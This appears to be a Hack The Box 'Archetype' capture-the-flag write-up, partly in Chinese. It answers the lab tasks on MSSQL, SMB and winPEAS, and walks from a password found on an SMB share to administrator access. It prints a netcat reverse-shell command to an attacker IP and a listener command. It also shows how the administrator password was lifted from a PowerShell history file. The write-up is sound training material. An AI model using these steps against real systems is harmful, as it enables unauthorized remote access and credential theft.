type
status
date
slug
summary
tags
category
icon
password
Status
Due date
Sep 18, 2023 04:16 AM

Progress

Task1：Which TCP port is hosting a database server?

1433
notion image

Task2：What is the name of the non-Administrative share available over SMB?

notion image

Task3：What is the password identified in the file on the SMB share?

M3g4c0rp123
notion image
notion image

Task4：What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

Task5：What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

Task6：What script can be used in order to search possible paths to escalate privileges on Windows hosts?

winpeas
先創造reverse shell，上傳nc.exe
notion image
python3 -m http.server [port]
python3 -m http.server [port]
nc.exe -e powershell.exe [attacker ip] [attacker listening port]
nc.exe -e powershell.exe [attacker ip] [attacker listening port]
nc -lvnp [attacker listening port]
nc -lvnp [attacker listening port]
在victim中安裝winpeas
notion image

Task7：What file contains the administrator's password?

執行完winpeas，先看history
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
notion image
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
登入administrator
notion image

Sumit user flag

notion image
notion image

Sumit root flag

notion image
notion image

Reference

Understanding simple XML configuration code in dtsConfig file – SQLServerCentral Forums
Understanding simple XML configuration code in dtsConfig file Forum – Learn more on SQLServerCentral
Understanding simple XML configuration code in dtsConfig file – SQLServerCentral Forums
https://www.sqlservercentral.com/forums/topic/understanding-simple-xml-configuration-code-in-dtsconfig-file
smb-enum-shares NSE script — Nmap Scripting Engine documentation
How to use the smb-enum-shares NSE script: examples, script-args, and references.
smb-enum-shares NSE script — Nmap Scripting Engine documentation
https://nmap.org/nsedoc/scripts/smb-enum-shares.html
相關文章
HTB - Vaccine
HTB - Oopsie
HTB - Crocodile
HTB - OopsieHTB - Crocodile